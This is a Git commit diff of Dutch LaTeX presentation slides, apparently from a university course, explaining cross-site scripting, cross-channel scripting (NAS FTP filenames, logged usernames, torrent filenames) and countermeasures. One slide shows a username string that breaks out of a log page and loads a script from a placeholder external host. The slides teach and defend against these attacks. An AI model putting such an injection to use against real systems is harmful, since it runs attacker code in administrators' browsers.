Commit 0597b927 authored by Sander Mathijs van Veen's avatar Sander Mathijs van Veen

Merge branch 'master' of ssh://vo20.nl/git/uva

parents 51851823 39973c54
...@@ -17,7 +17,20 @@ ...@@ -17,7 +17,20 @@
\tableofcontents \tableofcontents
} }
\section{Introductie Cross Site Scripting} \section{Waarom XCS?}
\frame
{
\frametitle{Waarom XCS?}
\begin{itemize}
\item Ligt dicht bij de webontwikkelaar
\item Aantal embedded web servers groeit
\item Beveiliging groeit niet mee
\end{itemize}
}
\section{Cross Site Scripting}
\frame \frame
{ {
...@@ -26,7 +39,7 @@ ...@@ -26,7 +39,7 @@
\begin{itemize} \begin{itemize}
\item Invoegen van scripts op een webpagina door slechte validatie \item Invoegen van scripts op een webpagina door slechte validatie
\item Web to web \item Web to web
\item presistent of non-persistent \item persistent of non-persistent
\end{itemize} \end{itemize}
} }
...@@ -52,19 +65,16 @@ ...@@ -52,19 +65,16 @@
\section{Cross Channel Scripting} \section{Cross Channel Scripting}
\subsection{Introductie}
\frame[containsverbatim] \frame[containsverbatim]
{ {
\frametitle{Cross Channel Scripting (XCS)} \frametitle{Cross Channel Scripting (XCS)}
\begin{itemize} \begin{itemize}
\item Non-web to web \item Infectie gaat over een non-web channel, executie over web channel:
\item Infectie gaat over een andere ``channel'' dan executie:
\begin{verbatim} \begin{verbatim}
aanvaller -> protocol A -> service A # infectie aanvaller -> non-web protocol -> non-web service
| |
doewit <- protocol B <- service B # executie doelwit <- HHTP <- web service
\end{verbatim} \end{verbatim}
\item Persistent \item Persistent
\item Twee op zichzelf veilige services A en B zijn samen onveilig \item Twee op zichzelf veilige services A en B zijn samen onveilig
...@@ -76,7 +86,7 @@ doewit <- protocol B <- service B # executie ...@@ -76,7 +86,7 @@ doewit <- protocol B <- service B # executie
{ {
\frametitle{Voorbeeld XSC: FTP exploit} \frametitle{Voorbeeld XSC: FTP exploit}
Een apparaat upload bestanden naar web-interface, kunnen we een script NAS upload bestanden naar web-interface, kunnen we een script
meesturen in de bestandsnaam? \\ meesturen in de bestandsnaam? \\
\vspace{4mm} \vspace{4mm}
\textbf{Uitdagingen} \textbf{Uitdagingen}
...@@ -108,48 +118,75 @@ doewit <- protocol B <- service B # executie ...@@ -108,48 +118,75 @@ doewit <- protocol B <- service B # executie
\end{itemize} \end{itemize}
} }
\subsection{Voorbeeld: Log-based XCS}
\frame[containsverbatim] \frame[containsverbatim]
{ {
\frametitle{Voorbeeld: Log-based XCS} \frametitle{Voorbeeld: Log-based XCS}
Een logbestand wordt remote bekeken door een administrator. Kunnen we iets
loggen wat op dat moment wordt uitgevoerd?
\begin{itemize}
\item
Probeer in te loggen met username:
\begin{verbatim} \begin{verbatim}
r","","");\\/--></script><script src="http://xxx"></script> r","","");\\/--></script>
<script src="http://xxx"></script>
\end{verbatim} \end{verbatim}
\end{itemize}
}
\frame
{
\frametitle{Voorbeeld: Log-based XCS (2)}
\begin{figure}
\includegraphics[width=200pt]{3-log.png}
\caption{Malafide code in een logbestand}
\end{figure}
} }
\section{Reverse XCS} \section{Reverse XCS}
\frame \frame[containsverbatim]
{ {
\frametitle{Reverse XCS} \frametitle{Reverse XCS (RXCS)}
\begin{itemize} \begin{itemize}
\item Web to non-web \item Infectie over web channel, executie over non-web channel
\item \begin{verbatim}
doelwit <- non-web protocol <- non-web service
|
aanvaller -> HTTP -> web service
\end{verbatim}
\end{itemize} \end{itemize}
} }
\frame \frame
{ {
\frametitle{Voorbeeld RXCS: The ghost in the photo frame} \frametitle{Voorbeeld: Reverse XCS in torrent}
NAS download torrent van een webserver, de bestandsnamen in de torrent
bevatten een script.
\vspace{4mm}
\textbf{Uitdagingen}
\begin{itemize} \begin{itemize}
\item \item Torrent bevat lijst van bestanden $\rightarrow$ verspreid script
\item over meerdere bestandsnamen
\item Script wordt uitgevoerd op NAS, bijv. seeden van torrents of
stelen van data
\end{itemize} \end{itemize}
} }
\frame \frame
{ {
\frametitle{RESTful RXCS} \frametitle{RESTful API's}
\begin{itemize} \begin{itemize}
\item \item Probleem: derde partij verwacht ``veilige'' data, cloud service
stuurt ``raw'' data
\item Twitter: escape bij invoer (input time) $\rightarrow$ derde partij
moet unescapen voor eigen format $\rightarrow$ foutgevoelig
\item Facebook: escape bij uitvoer (display time) $\rightarrow$ derde
partij moet zelf escapen, dit gebeurt soms niet
\end{itemize} \end{itemize}
} }
...@@ -162,7 +199,7 @@ doewit <- protocol B <- service B # executie ...@@ -162,7 +199,7 @@ doewit <- protocol B <- service B # executie
\begin{itemize} \begin{itemize}
\item Encoding/escaping \item Encoding/escaping
\item Valideren van onvertrouwde HTML-uitvoer \item Valideren van onvertrouwde HTML-uitvoer
\item Cookies \item Extra validatie bovenop cookies
\item Blokkeren van scripts door gebruiker \item Blokkeren van scripts door gebruiker
\end{itemize} \end{itemize}
} }
...@@ -174,7 +211,9 @@ doewit <- protocol B <- service B # executie ...@@ -174,7 +211,9 @@ doewit <- protocol B <- service B # executie
\frametitle{Conclusie} \frametitle{Conclusie}
\begin{itemize} \begin{itemize}
\item \item Beveiliging tegen XCS is vaak slecht. \\
De oorzaak van dit probleem ligt bij fabrikanten en
webontwikkelaars.
\end{itemize} \end{itemize}
} }
......
Markdown is supported
0%
or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment